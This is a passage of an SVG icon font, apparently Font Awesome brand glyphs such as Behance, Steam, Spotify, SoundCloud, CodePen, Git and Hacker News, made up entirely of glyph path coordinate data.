239.5c28.5 28.4004 81.3008 80.7998 99.6006 99.9004 +c26.5996 26.5996 64.5 35 98.2998 25.0996c4.09961 29.0996 29.2002 51.5996 59.5 51.5996c33 0 59.7998 -26.8994 59.7998 -60.0996c0 -30.2998 -22.7002 -55.4004 -51.8994 -59.5c9.59961 -33.5996 2.2998 -70 -28.9004 -101.2l-44 44.2998 +c20.5 20.4004 16.2998 42.6006 3.5 55.4004c-14.2998 14.2998 -37.5996 14.2998 -51.9004 0c-10 -10.0996 -89.6992 -89.7998 -99.6992 -99.7998zM396.4 87.2998c29.0996 -4.09961 51.5996 -28.8994 51.5996 -59.0996c0 -33.2998 -26.7998 -60.1006 -59.7998 -60.1006 +c-29.2002 0 -53.4004 20.7002 -58.9004 48.1006c-34.7002 -10.7998 -75.0996 -2.2002 -102.7 28l44 44.2998c20.4004 -20.5 42.6006 -16.2998 55.4004 -3.5c14.2998 14.2998 14.2998 37.5996 0 51.9004l-99.7002 99.6992l44.2998 44.3008 +c104.5 -104.4 87.7002 -87.5 99.5 -99.7002c25.4004 -25.4004 34.5 -61.2002 26.3008 -93.9004zM312.1 140.4c-87.2998 -87.3008 -67.3994 -67.7002 -99.5 -99.7002c-25.6992 -25.4004 -61.5 -34.2002 -94.1992 -26c-6.10059 -26.9004 -30 -46.7002 -58.6006 -46.7002 +c-33 0 -59.7998 26.7998 -59.7998 60.0996c0 28.3008 19.5 52.2002 46.2002 58.2002c-8.5 33.1006 -0.700195 68.1006 29.5 98.2998l44 -44.2998c-20.1006 -20.0996 -16.2998 -42 -3.2002 -55.3994c14.2998 -14.3008 37.5996 -14.3008 51.9004 0 +c49.2998 49.3994 12.6992 13.3994 99.6992 99.7998z" /> + <glyph glyph-name="behance" unicode="" horiz-adv-x="576" +d="M232 210.8c43.5996 -12.2998 64.7002 -45.2002 64.7002 -89.7002c0 -72 -60.5 -102.899 -124.9 -102.899h-171.8v354.399h167.1c60.7002 0 113.301 -17.1992 113.301 -87.7998c0 -35.7998 -16.6006 -58.7998 -48.4004 -74zM77.9004 312.1v-82.6992h79 +c27.7998 0 47.5 12.0996 47.5 42.1992c0 32.6006 -25.3008 40.5 -53.4004 40.5h-73.0996zM161.2 78.4004c31.7002 0 57.5996 11.1992 57.5996 47c0 36.2998 -21.7002 50.5996 -56 50.5996h-84.8994v-97.5996h83.2998zM519.7 319.1h-143.7v34.9004h143.7v-34.9004zM576 142.8 +c0 -4.5 -0.299805 -9 -0.599609 -13.2002h-185.101c0 -41.0996 21.7002 -65.2998 63 -65.2998c21.4004 0 49 11.6006 55.7002 33.5h62.2002c-19.1006 -58.7002 -58.7998 -86.2998 -120.101 -86.2998c-81 0 -131.3 54.7998 -131.3 134.7c0 77 53.1006 135.8 131.3 135.8 +c80.5 0 124.9 -63.2998 124.9 -139.2zM390.4 174h114.699c-3 34 -20.7998 54.7998 -56.1992 54.7998c-33.8008 0 -56.2002 -21.0996 -58.5 -54.7998z" /> + <glyph glyph-name="behance-square" unicode="" +d="M186.5 155c0 -19.2998 -14 -25.4004 -31.2002 -25.4004h-45.0996v52.9004h46c18.5996 -0.0996094 30.2998 -7.7998 30.2998 -27.5zM178.8 237.3c0 -16.2998 -10.7002 -22.8994 -25.7998 -22.8994h-42.7002v44.7998h39.6006c15.1992 0 28.8994 -4.2002 28.8994 -21.9004z +M311.1 214.1c19.2002 0 28.8008 -11.1992 30.5 -29.6992h-62.1992c1.19922 18.2998 13.3994 29.6992 31.6992 29.6992zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM271.7 263h77.7998 +v18.9004h-77.7998v-18.9004zM228.7 152.7c0 24.0996 -11.4004 44.8994 -35 51.5996c17.2002 8.2002 26.2002 17.7002 26.2002 37c0 38.2002 -28.5 47.5 -61.4004 47.5h-90.5v-192h93.0996c34.9004 0.200195 67.6006 16.9004 67.6006 55.9004zM380 167.5 +c0 41.0996 -24.0996 75.4004 -67.5996 75.4004c-42.4004 0 -71.1006 -31.8008 -71.1006 -73.6006c0 -43.2998 27.2998 -73 71.1006 -73c33.1992 0 54.6992 14.9004 65.0996 46.7998h-33.7002c-3.7002 -11.8994 -18.5996 -18.0996 -30.2002 -18.0996 +c-22.3994 0 -34.0996 13.0996 -34.0996 35.2998h100.2c0.0996094 2.2998 0.299805 4.7998 0.299805 7.2002z" /> + <glyph glyph-name="steam" unicode="" horiz-adv-x="496" +d="M496 192c0 -137 -111.2 -248 -248.4 -248c-113.8 0 -209.6 76.2998 -239 180.4l95.2002 -39.3008c6.40039 -32.0996 34.9004 -56.3994 68.9004 -56.3994c39.2002 0 71.8994 32.3994 70.2002 73.5l84.5 60.2002c52.0996 -1.30078 95.7998 40.8994 95.7998 93.5 +c0 51.5996 -42 93.5 -93.7002 93.5s-93.7002 -42 -93.7002 -93.5v-1.2002l-59.2002 -85.7002c-15.5 0.900391 -30.6992 -3.40039 -43.5 -12.0996l-133.1 55c10.2002 127.699 117.1 228.1 247.6 228.1c137.2 0 248.4 -111 248.4 -248zM155.7 63.7002 +c19.7998 -8.2002 42.5 1.09961 50.7998 21c8.2998 19.7998 -1.09961 42.5 -20.9004 50.7002l-31.5 13c12.2002 4.59961 26 4.7998 38.9004 -0.600586c13 -5.39941 23.0996 -15.5996 28.5 -28.5996s5.2998 -27.2998 -0.0996094 -40.2998 +c-11.2002 -26.8008 -42.1006 -39.6006 -69 -28.4004c-11.9453 4.99414 -21.6055 14.1826 -27.2002 25.7998zM329.5 193.6c-34.4004 0 -62.4004 28 -62.4004 62.3008c0 34.2998 28 62.2998 62.4004 62.2998s62.4004 -28 62.4004 -62.2998 +c0 -34.3008 -27.9004 -62.3008 -62.4004 -62.3008zM329.6 209.2c25.9004 0 46.9004 21 46.9004 46.7998c0 25.9004 -21 46.7998 -46.9004 46.7998c-25.8994 0 -46.8994 -21 -46.8994 -46.7998c0.0996094 -25.7998 21.0996 -46.7998 46.8994 -46.7998z" /> + <glyph glyph-name="steam-square" unicode="" +d="M185.2 91.5c7.7002 18.5 -1 39.7002 -19.6006 47.4004l-29.5 12.1992c11.4004 4.30078 24.3008 4.5 36.4004 -0.5c12.2002 -5.09961 21.5996 -14.5996 26.7002 -26.6992c5 -12.2002 5 -25.6006 -0.100586 -37.7002c-10.5 -25.1006 -39.3994 -37 -64.5996 -26.5 +c-11.5996 4.7998 -20.4004 13.5996 -25.4004 24.2002l28.5 -11.8008c18.6006 -7.7998 39.9004 0.900391 47.6006 19.4004zM400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v112.8l89.0996 -36.8994 +c6 -30 32.7002 -52.7002 64.5 -52.7002c36.6006 0 67.3008 30.2998 65.7002 68.7998l79 56.2998c48.7002 -1.2002 89.6006 38.2998 89.6006 87.5c0 48.2002 -39.3008 87.5 -87.6006 87.5s-87.5996 -39.2998 -87.5996 -87.5v-1.09961l-55.4004 -80.2002 +c-14.5 0.799805 -28.7002 -3.09961 -40.7002 -11.2998l-116.6 48.0996v160.7c0 26.5 21.5 48 48 48h352zM300.3 193.5c-32.2002 0 -58.3994 26.0996 -58.3994 58.2998s26.1992 58.2998 58.3994 58.2998s58.4004 -26.1992 58.4004 -58.2998 +c0 -32.0996 -26.2002 -58.2998 -58.4004 -58.2998zM300.4 208.1c24.1992 0 43.8994 19.6006 43.8994 43.8008c0 24.1992 -19.5996 43.7998 -43.8994 43.7998c-24.2002 0 -43.9004 -19.6006 -43.9004 -43.7998c0 -24.2002 19.7002 -43.8008 43.9004 -43.8008z" /> + <glyph glyph-name="spotify" unicode="" horiz-adv-x="496" +d="M248 440c136.9 0 248 -111.1 248 -248s-111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248zM348.7 75.0996c8.09961 0 15.2002 6.30078 15.2002 15.4004s-3.60059 12.5996 -9.7002 16.5c-71.4004 42.7002 -155.101 44.2998 -237 26.2002 +c-7.5 -1.60059 -13.6006 -6.5 -13.6006 -16.7998c0 -8.10059 6.10059 -15.8008 15.8008 -15.8008c2.89941 0 8 1.60059 11.8994 2.60059c71.7002 14.7002 144.3 13.0996 206.7 -24.5c3.90039 -2.2998 6.5 -3.60059 10.7002 -3.60059zM375.6 140.7 +c10.9004 0 19.3008 8.7002 19.4004 19.5c0 8.7002 -3.2002 14.8994 -11.2998 19.7002c-49.4004 29.3994 -112.101 45.5 -177 45.5c-41.6006 0 -70 -5.80078 -97.7998 -13.6006c-10.3008 -2.89941 -15.5 -10 -15.5 -20.7002c0 -10.6992 8.69922 -19.3994 19.3994 -19.3994 +c4.5 0 7.10059 1.2998 11.9004 2.59961c82.8994 22.5 176.1 7.60059 238.6 -29.3994c3.60059 -1.90039 7.10059 -4.2002 12.2998 -4.2002zM406.6 216.9c12.2002 0 23.2002 9.69922 23.2002 23.2998c0 11.8994 -5.09961 18.0996 -12.8994 22.5996 +c-55.9004 32.6006 -132.4 47.7998 -205.4 47.7998c-42.9004 0 -82.2998 -4.89941 -117.5 -15.1992c-9 -2.60059 -17.4004 -10.3008 -17.4004 -23.9004c0 -13.2998 10.1006 -23.5996 23.3008 -23.5996c4.7998 0 9.2998 1.59961 12.8994 2.59961 +c82.4004 23 209.7 12.7998 280.9 -29.7002c4.5 -2.59961 7.7002 -3.89941 12.8994 -3.89941z" /> + <glyph glyph-name="deviantart" unicode="" horiz-adv-x="320" +d="M320 354.8l-98.2002 -179.1l7.40039 -9.5h90.7998v-127.7h-160.9l-13.5 -9.2002l-43.6992 -84c-0.300781 0 -8.60059 -8.59961 -9.2002 -9.2002h-92.7002v93.2002l93.2002 179.4l-7.40039 9.2002h-85.7998v127.6h156l13.5 9.2002l43.7002 84 +c0.299805 0 8.59961 8.59961 9.2002 9.2002h97.5996v-93.1006z" /> + <glyph glyph-name="soundcloud" unicode="" horiz-adv-x="640" +d="M111.4 191.7l5.7998 -65l-5.7998 -68.2998c-0.300781 -2.5 -2.2002 -4.40039 -4.40039 -4.40039s-4.2002 1.90039 -4.2002 4.40039l-5.59961 68.2998l5.59961 65c0 2.2002 1.90039 4.2002 4.2002 4.2002c2.2002 0 4.09961 -2 4.40039 -4.2002zM132.8 237.3 +c2.5 0 4.7002 -2.2002 4.7002 -5l5.7998 -105.6l-5.7998 -68.2998c0 -2.80078 -2.2002 -5 -4.7002 -5c-2.7998 0 -4.7002 2.19922 -5 5l-5 68.2998l5 105.6c0.299805 2.7998 2.2002 5 5 5zM158.3 261.4c2.7998 0 5.2998 -2.2002 5.2998 -5.30078l5.30078 -130 +l-5.30078 -67.7998c0 -3.09961 -2.5 -5.2998 -5.2998 -5.2998c-3.09961 0 -5.2998 2.2002 -5.59961 5.2998l-4.40039 67.7998l4.40039 130c0.299805 3.10059 2.5 5.30078 5.59961 5.30078zM7.2002 164.8c1.39941 0 2.2002 -1.09961 2.5 -2.5l5.59961 -35.5996l-5.59961 -35 +c-0.299805 -1.40039 -1.10059 -2.5 -2.5 -2.5c-1.40039 0 -2.2002 1.09961 -2.5 2.5l-4.7002 35l4.7002 35.5996c0.299805 1.40039 1.09961 2.5 2.5 2.5zM30.7998 186.7c1.40039 0 2.5 -1.10059 2.7998 -2.5l7.2002 -57.5l-7.2002 -56.4004 +c-0.299805 -1.39941 -1.39941 -2.5 -2.7998 -2.5c-1.39941 0 -2.5 1.10059 -2.5 2.7998l-6.39941 56.1006l6.39941 57.5c0 1.39941 1.10059 2.5 2.5 2.5zM56.0996 198.1c1.7002 0 3.10059 -1.39941 3.10059 -3.2998l6.89941 -68.0996l-6.89941 -65.7998 +c0 -1.7002 -1.40039 -3.10059 -3.10059 -3.10059c-1.59961 0 -3 1.40039 -3.2998 3.10059l-5.7998 65.7998l5.7998 68.0996c0.200195 1.90039 1.60059 3.2998 3.2998 3.2998zM81.4004 200.3c1.89941 0 3.59961 -1.39941 3.89941 -3.59961l6.40039 -70l-6.40039 -67.7998 +c-0.299805 -2.2002 -2 -3.60059 -3.89941 -3.60059c-1.90039 0 -3.60059 1.40039 -3.60059 3.60059l-5.7998 67.7998l5.7998 70c0 2.2002 1.7002 3.59961 3.60059 3.59961zM322.8 311.2c2.5 -1.40039 4.10059 -4.2002 4.5 -7.2002l3.90039 -177.5l-3.90039 -64.2002 +c0 -4.7002 -3.89941 -8.59961 -8.59961 -8.59961s-8.60059 3.89941 -8.90039 8.59961l-1.7002 31.7002l-1.69922 32.5l3.2998 176.7v0.799805c0.200195 2.5 1.39941 5 3.2998 6.7002c1.40039 1.09961 3.40039 1.89941 5.59961 1.89941 +c1.40039 0 3.10059 -0.599609 4.2002 -1.39941zM296.1 295.9c2.2002 -1.40039 3.60059 -3.90039 3.90039 -6.7002l3.2998 -162.8l-3.09961 -58.6006l-0.299805 -6.7002c0 -2.2998 -0.800781 -4.19922 -2.5 -5.59961c-1.40039 -1.40039 -3.40039 -2.5 -5.60059 -2.5 +c-2.5 0 -4.7002 1.2002 -6.39941 3.09961c-1.10059 1.40039 -1.7002 3 -1.7002 4.7002v0.299805c-3.10059 65.3008 -3.10059 65.6006 -3.10059 65.6006l2.80078 160.8l0.299805 1.7002c0 2.7998 1.39941 5.2998 3.59961 6.7002 +c1.2998 0.799805 2.7998 1.39941 4.40039 1.39941c1.59961 0 3 -0.599609 4.39941 -1.39941zM184.7 273.4c3.39941 0 5.89941 -2.80078 6.09961 -6.10059l5 -140.6l-5 -67.2002c-0.299805 -3.2998 -2.7998 -5.7998 -6.09961 -5.7998c-3 0 -5.5 2.5 -5.7998 5.7998 +l-4.40039 67.2002l4.40039 140.6c0 3.2998 2.69922 6.10059 5.7998 6.10059zM561.4 210.6c43.2998 0 78.5996 -35.2998 78.5 -78.8994c0 -43.2998 -35.3008 -78.2998 -78.6006 -78.2998h-218.3c-4.7002 0.599609 -8.59961 4.19922 -8.59961 9.19922v249.7 +c0 4.7998 1.69922 7 7.7998 9.2002c15.2998 6.09961 32.5 9.40039 50.2998 9.40039c72.5 0 131.9 -55.6006 138.3 -126.4c9.5 3.90039 19.7998 6.09961 30.6006 6.09961zM264.7 270.9c4.2002 0 7.2002 -3.30078 7.5 -7.80078l3.89941 -136.699l-3.89941 -65.6006 +c0 -4.2002 -3.2998 -7.5 -7.5 -7.5s-7.5 3.2998 -7.7998 7.5l-3.30078 65.6006l3.30078 136.699c0.299805 4.5 3.59961 7.80078 7.7998 7.80078zM211.1 278.7c3.60059 0 6.40039 -3.10059 6.7002 -6.7002l4.40039 -145.3l-4.40039 -66.9004 +c-0.299805 -3.59961 -3.09961 -6.39941 -6.7002 -6.39941c-3.2998 0 -6.09961 2.7998 -6.39941 6.39941l-3.90039 66.9004l3.90039 145.3c0 3.59961 3.09961 6.7002 6.39941 6.7002zM237.8 275.3c3.90039 0 6.90039 -3 6.90039 -6.89941l4.2002 -141.7l-4.2002 -66.4004 +c0 -3.7998 -3.10059 -6.89941 -6.90039 -6.89941s-6.59961 3 -6.89941 6.89941l-3.90039 66.4004l3.90039 141.7c0 3.7998 3 6.89941 6.89941 6.89941z" /> + <glyph glyph-name="vine" unicode="" horiz-adv-x="384" +d="M384 193.3v-52.0996c-18.4004 -4.2002 -36.9004 -6.10059 -52.0996 -6.10059c-36.9004 -77.3994 -103 -143.8 -125.101 -156.199c-14 -7.90039 -27.0996 -8.40039 -42.7002 0.799805c-27.0996 16.2998 -129.899 100.6 -164.1 365.6h74.5 +c18.7002 -159.1 64.5 -240.7 114.8 -301.8c27.9004 27.9004 54.7998 65.0996 75.6006 106.9c-49.8008 25.2998 -80.1006 80.8994 -80.1006 145.6c0 65.5996 37.7002 115.1 102.2 115.1c114.9 0 106.2 -127.899 81.5996 -181.5c0 0 -46.3994 -9.19922 -63.5 20.5 +c3.40039 11.3008 8.2002 30.8008 8.2002 48.5c0 31.3008 -11.2998 46.6006 -28.3994 46.6006c-18.2002 0 -30.8008 -17.1006 -30.8008 -50c0.100586 -79.2002 59.4004 -118.7 129.9 -101.9z" /> + <glyph glyph-name="codepen" unicode="" horiz-adv-x="512" +d="M502.285 288.296c6.00098 -3.99902 9.71484 -11.1426 9.71582 -18.2852v-155.999c0 -7.14258 -3.71484 -14.2871 -9.71484 -18.2861l-234 -156.021c-8.06055 -4.95996 -16.584 -4.91504 -24.5713 0l-234 156.021c-6.00098 4 -9.71484 11.1436 -9.71484 18.2861v155.999 +c0 7.14258 3.71387 14.2861 9.71387 18.2852l234 156c8.06055 4.95996 16.584 4.91504 24.5713 0zM278 384.869v-102.572l95.4287 -63.7148l76.8574 51.4287zM234 384.869l-172.286 -114.858l76.8574 -51.4287l95.4287 63.7148v102.572zM44 228.868v-73.7139 +l55.1426 36.8564zM234 -0.84668v102.571l-95.4287 63.7158l-76.8574 -51.4297zM256 140.011l77.7148 52l-77.7148 52l-77.7148 -52zM278 -0.84668l172.286 114.857l-76.8574 51.4297l-95.4287 -63.7158v-102.571zM468 155.154v73.7139l-55.1426 -36.8574z" /> + <glyph glyph-name="jsfiddle" unicode="" horiz-adv-x="576" +d="M510.634 210.538c45.6885 -25.334 68.3721 -74.5605 56.832 -122.634c-12.1035 -50.4199 -55.5479 -86.6592 -108.212 -87.293c-84.0303 -1.01172 -168.079 -0.458984 -252.12 -0.480469c-30.3223 -0.00683594 -60.668 -0.492188 -90.959 0.539062 +c-48.0938 1.63672 -91.7764 35.8643 -105.607 81.4326c-14.1289 46.5508 2.18945 94.623 41.9014 124.615c2.54688 1.92383 4.86914 6.52051 4.51465 9.54492c-3.74609 31.8604 7.14453 57.6709 32.6758 76.4082c26.2822 19.2881 55.2285 21.5879 85.3311 9.16699 +c2.36621 -0.975586 4.63965 -2.17773 7.82422 -3.68555c16.5215 27.5332 38.1221 48.6523 65.4922 63.9023c92.8594 51.7402 210.954 8.31152 246.85 -91.6455c5.55762 -15.4766 6.74512 -32.6074 9.09668 -49.0947c0.716797 -5.02832 1.6543 -8.15527 6.38086 -10.7764z +M531.741 53.6582c39.3135 48.375 22.418 117.668 -35.1426 144.497c-7.43555 3.46582 -9.72559 7.74414 -9.84766 15.8936c-1.87012 125.129 -132.78 187.063 -230.24 132.697c-26.1133 -14.5674 -46.4492 -34.8955 -60.6709 -61.2939 +c-7.59082 -14.0908 -11.9287 -7.97754 -22.1982 -2.52734c-24.6113 13.0635 -49.0469 12.6406 -72.0332 -3.08301c-21.9678 -15.0244 -31.9102 -36.6201 -26.4199 -62.9805c2.4082 -11.5703 -0.914062 -17.0635 -10.0967 -23.1367 +c-38.1895 -25.2578 -53.0879 -74.8604 -34.1855 -116.105c18.4355 -40.2295 51.3135 -59.6631 95.1748 -59.9951c0.700195 -0.00488281 163.728 -0.545898 163.728 0.154297c56.8857 0 113.778 -0.551758 170.652 0.229492 +c28.9375 0.397461 53.0498 13.2178 71.2803 35.6504zM443.952 134.157c-5.84863 -31.1572 -34.6221 -55.0967 -66.666 -55.0957c-16.9531 0.00195312 -32.0586 6.5459 -44.0791 17.7051c-27.6973 25.7139 -71.1406 74.9805 -95.9375 93.3877 +c-20.0557 14.8877 -41.9893 12.333 -60.2715 -3.78223c-49.9961 -44.0713 15.8594 -121.775 67.0625 -77.1885c4.54883 3.95996 7.84082 9.54297 12.7441 12.8447c8.18457 5.50879 20.7666 0.883789 13.168 -10.6221c-17.3574 -26.2842 -49.3301 -38.1973 -78.8623 -29.3008 +c-28.8975 8.70312 -48.8408 35.9678 -48.626 70.1787c1.22461 22.4844 12.3633 43.0596 35.4141 55.9648c22.5742 12.6377 46.3682 13.1455 66.9902 -2.47363c50.791 -38.4756 75.5781 -81.7451 107.296 -101.245c24.5586 -15.0996 54.2549 -7.36328 68.8232 17.5059 +c28.8301 49.209 -34.5918 105.016 -78.8682 63.46c-3.98828 -3.74414 -6.91699 -8.93164 -11.4092 -11.7197c-10.9756 -6.81152 -17.333 4.1123 -12.8096 10.3525c20.7031 28.5537 50.4639 40.4404 83.2715 28.2139c31.4287 -11.7139 49.1074 -44.3662 42.7598 -78.1855z +" /> + <glyph glyph-name="rebel" unicode="" horiz-adv-x="512" +d="M256.5 -56c-139.3 0 -247.5 116.2 -243.3 254.1c2.7998 79.2002 43.2002 152.2 116.5 200.4c0.299805 0 1.89941 0.599609 1.09961 -0.799805c-5.7998 -5.5 -111.3 -129.8 -14.0996 -226.4c49.7998 -49.5 90 -2.5 90 -2.5c38.5 50.1006 -0.600586 125.9 -0.600586 125.9 +c-10 24.8994 -45.6992 40.0996 -45.6992 40.0996l28.7998 31.7998c24.3994 -10.5 43.2002 -38.6992 43.2002 -38.6992c0.799805 29.5996 -21.9004 61.3994 -21.9004 61.3994l44.5996 50.7002l44.3008 -50.0996c-20.5 -28.8008 -21.9004 -62.6006 -21.9004 -62.6006 +c13.7998 23 43.5 39.2998 43.5 39.2998l28.5 -31.7998c-27.4004 -8.89941 -45.4004 -39.8994 -45.4004 -39.8994c-15.7998 -28.5 -27.0996 -89.4004 0.600586 -127.301c32.3994 -44.5996 87.7002 2.80078 87.7002 2.80078c102.699 91.8994 -10.5 225 -10.5 225 +c-6.10059 5.5 0.799805 2.7998 0.799805 2.7998c50.0996 -36.5 114.6 -84.4004 116.2 -204.8c2 -145.601 -99.9004 -249.4 -242.4 -249.4z" /> + <glyph glyph-name="empire" unicode="" horiz-adv-x="496" +d="M287.6 393.8c-10.7998 2.2002 -22.0996 3.2998 -33.5 3.60059v18.1992c78.1006 -2.19922 146.101 -44 184.601 -106.6l-15.7998 -9.09961c-6.10059 9.69922 -12.7002 18.7998 -20.2002 27.0996l-18 -15.5c-26 29.5996 -61.4004 50.7002 -101.9 58.4004zM53.4004 125.6 +c3.89941 -10.7998 8.2998 -21.0996 13.5996 -31.0996l-15.7998 -9.09961c-17.1006 31.5996 -27.1006 68.0996 -27.1006 106.6s9.90039 75 27.1006 106.5l15.7998 -9.09961c-5.2998 -9.7002 -10 -20.2002 -13.5996 -31l22.6992 -7.7002 +c-6.39941 -18.2998 -9.69922 -38.2002 -9.69922 -58.7002s3.59961 -40.4004 10 -58.7002zM213.1 14l-4.69922 -23.7998c10.7998 -1.90039 22.1992 -3.2998 33.5 -3.60059v-18.2998c-78.1006 2.2998 -146.4 44.2998 -184.9 106.601l16 9.39941 +c5.7998 -9.7002 12.7002 -18.7998 20.2002 -27.3994l18 15.7998c26.0996 -29.6006 61.5 -50.7002 101.899 -58.7002zM93.2998 327.1c-7.5 -8.2998 -14.0996 -17.5 -20.0996 -27.1992l-15.7998 9.09961c38.5 62.5996 106.5 104.4 184.6 106.6v-18.1992 +c-11.4004 -0.300781 -22.7002 -1.40039 -33.5 -3.60059l4.7002 -23.7998c-40.5 -7.7002 -75.9004 -28.7998 -101.9 -58.4004zM402.7 56.9004c7.5 8.59961 14.3994 17.6992 20.0996 27.3994l16.1006 -9.39941c-38.5 -62.3008 -106.801 -104.4 -184.9 -106.601v18.2998 +c11.4004 0.300781 22.7002 1.7002 33.5 3.60059l-4.7002 23.7998c40.5 8 75.9004 29.0996 101.9 58.7002zM496 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM483.8 192c0 130.1 -105.7 235.8 -235.8 235.8 +s-235.8 -105.7 -235.8 -235.8s105.7 -235.8 235.8 -235.8s235.8 105.7 235.8 235.8zM444.8 298.6c17.2002 -31.5996 27.1006 -68.0996 27.1006 -106.6s-9.90039 -75 -27.1006 -106.4l-15.7998 9.10059c5.2998 10 9.7002 20.2002 13.5996 31l-23 7.7002 +c6.40039 18.2998 10 38.1992 10 58.6992s-3.2998 40.4004 -9.69922 58.7002l22.6992 7.7002c-3.59961 10.7998 -8.2998 21.2998 -13.5996 31zM261.8 120.9l13.2998 -66.7002c-8.59961 -1.7002 -17.6992 -2.7998 -27.0996 -2.7998s-18.5 1.09961 -27.0996 2.7998 +l13.2998 66.7002c-16.2998 3.2998 -30.5 11.5996 -40.7002 23.5l-51.2002 -44.8008c-11.8994 13.6006 -21.2998 29.4004 -27.0996 46.8008l64.2002 22.0996c-2.5 7.40039 -3.90039 15.2002 -3.90039 23.5s1.40039 16 3.90039 23.5l-64.5 22.0996 +c6.09961 17.5 15.5 33.2002 27.3994 46.8008l51.2002 -44.8008c10.2998 11.9004 24.4004 20.5 40.7002 23.8008l-13.2998 66.3994c8.59961 2 17.6992 2.7998 27.0996 2.7998s18.5 -0.899414 27.0996 -2.7998l-13.2998 -66.3994 +c16.2998 -3.30078 30.5 -11.9004 40.7002 -23.8008l51.2002 44.8008c11.8994 -13.6006 21.2998 -29.4004 27.3994 -46.8008l-64.5 -22.0996c2.5 -7.40039 3.90039 -15.2002 3.90039 -23.5s-1.40039 -16 -3.90039 -23.5l64.2002 -22.0996 +c-5.7998 -17.5 -15.2002 -33.2002 -27.0996 -46.8008l-51.2002 44.8008c-10.2998 -11.9004 -24.4004 -20.2002 -40.7002 -23.5z" /> + <glyph glyph-name="git-square" unicode="" +d="M100.59 113.76c48.5703 -3.30957 58.9502 -2.10938 58.9502 -11.9395c0 -20 -65.5498 -20.0605 -65.5498 -1.52051c0.00976562 5.08984 3.29004 9.40039 6.59961 13.46zM128.54 230.4c30.96 0 31.7598 -44.4707 -0.75 -44.4707c-33 0 -31.54 44.4707 0.75 44.4707z +M448 368v-352c0 -26.4922 -21.5078 -48 -48 -48h-352c-26.4922 0 -48 21.5078 -48 48v352c0 26.4922 21.5078 48 48 48h352c26.4922 0 48 -21.5078 48 -48zM221 298.69c0 -14.4902 8.37988 -22.8809 22.8604 -22.8809c14.7393 0 23.1299 8.39062 23.1299 22.8809 +c0 14.4893 -8.37012 22.3096 -23.1104 22.3096c-14.4795 0 -22.8799 -7.83984 -22.8799 -22.3096zM199.18 253h-49.5498c-25 6.5498 -81.5596 4.84961 -81.5596 -46.75c0 -18.7998 9.39941 -32 21.8496 -38.1104c-15.6895 -14.3701 -23.1201 -21.1396 -23.1201 -30.7393 +c0 -6.87012 2.79004 -13.2207 11.1807 -16.7607c-8.90039 -8.39941 -14 -14.4795 -14 -25.9199c0.0195312 -20.0693 17.5498 -31.7197 63.5391 -31.7197c44.2207 0 69.8701 16.5098 69.8701 45.7305c0 36.6699 -28.2295 35.3193 -94.7695 39.3799l8.37988 13.4297 +c17 -4.74023 74.1904 -6.23047 74.1904 42.4297c0 11.6904 -4.83008 19.8203 -9.40039 25.6699l23.3799 1.78027zM283.52 143.16l-13 1.78027c-3.81934 0.509766 -4.06934 1 -4.06934 5.08984v105.45h-52.6006l-2.79004 -20.5703c15.75 -5.5498 17 -4.86035 17 -10.1699 +v-74.7402c0 -5.62012 -0.30957 -4.58008 -17 -6.87012v-20.0596h72.4209zM384 133l-6.87012 22.3701c-40.9297 -15.3701 -37.8496 12.4102 -37.8496 16.7295v60.7207h37.8496v25.4102h-35.8203c-2.86914 0 -2 -2.52051 -2 38.6299h-24.1797 +c-2.79004 -27.7002 -11.6797 -38.8799 -34 -41.4199v-22.6201c20.4697 0 19.8203 0.849609 19.8203 -2.54004v-66.5703c0 -28.7197 11.4297 -40.9102 41.6699 -40.9102c14.4502 0 30.4502 4.83008 41.3799 10.2002z" /> + <glyph glyph-name="git" unicode="" horiz-adv-x="512" +d="M216.29 289.61l0.0400391 -34.5508l-37.4102 -2.83984c7.27051 -9.35938 15 -22.3701 15 -41.0693c0 -77.8906 -91.4297 -75.4707 -118.7 -67.8906l-13.4297 -21.5498c106.47 -6.5 151.63 -4.33984 151.63 -63c0 -46.7598 -41.04 -73.1797 -111.79 -73.1797 +c-73.5801 0 -101.63 18.71 -101.63 50.8193c0 18.3008 8.12988 28.04 22.4004 41.4502c-13.4199 5.66992 -17.8906 15.8105 -17.8906 26.8105c0 15.3594 11.9004 26.21 37 49.21c-20 9.76953 -35 30.9102 -35 61c0 82.5498 90.4902 85.2793 130.49 74.79h79.29z +M152.87 47.71c0 15.7402 -16.6104 13.8096 -94.3203 19.1104c-5.2998 -6.54004 -10.5693 -13.4004 -10.5693 -21.54c0 -29.6699 104.89 -29.6299 104.89 2.42969zM102.06 182.29c52.0205 0 50.7402 71.1602 1.2002 71.1602c-51.6602 0 -54 -71.1602 -1.2002 -71.1602z +M235.36 81.7803v32.0996c26.75 3.66016 27.2393 2 27.2393 11v119.51c0 8.5 -2.0498 7.37988 -27.2393 16.2607l4.46973 32.9199h84.1699v-168.71c0 -6.51074 0.400391 -7.32031 6.50977 -8.14062l20.7305 -2.83984v-32.0996h-115.88zM287.81 326.09 +c-23.1699 0 -36.5898 13.4297 -36.5898 36.6104c0 23.1797 13.4199 35.7695 36.5898 35.7695c23.5801 0 37 -12.6201 37 -35.7695c0 -23.1504 -13.4199 -36.6104 -37 -36.6104zM512 97.54c-17.4902 -8.53027 -43.0996 -16.2598 -66.2803 -16.2598 +c-48.3799 0 -66.6699 19.5 -66.6699 65.46v106.51c0 5.41992 1.0498 4.05957 -31.71 4.05957v36.1904c35.7803 4.07031 50 22 54.4697 66.2695h38.6309c0 -65.8291 -1.34082 -61.8096 3.25977 -61.8096h57.2998v-40.6504h-60.5596v-97.1494 +c0 -6.91992 -4.9209 -51.4102 60.5693 -26.8398z" /> + <glyph glyph-name="hacker-news" unicode="" +d="M0 416h448v-448h-448v448zM21.2002 218.8h-0.200195c0.0996094 0.100586 0.200195 0.299805 0.299805 0.400391c0 -0.100586 0 -0.299805 -0.0996094 -0.400391zM239.2 164.9l80.7998 155.1h-34.7998c-54.7998 -101.2 -48.2998 -98.5996 -60.6006 -125.6 +c-10.0996 24.3994 -6.7998 27.2998 -59.2998 125.6h-37.2998l79.7998 -153.3v-102.7h31.4004v100.9z" /> + <glyph glyph-name="tencent-weibo" unicode="" horiz-adv-x="384" +d="M72.2998 -47.7998c1.40039 -19.9004 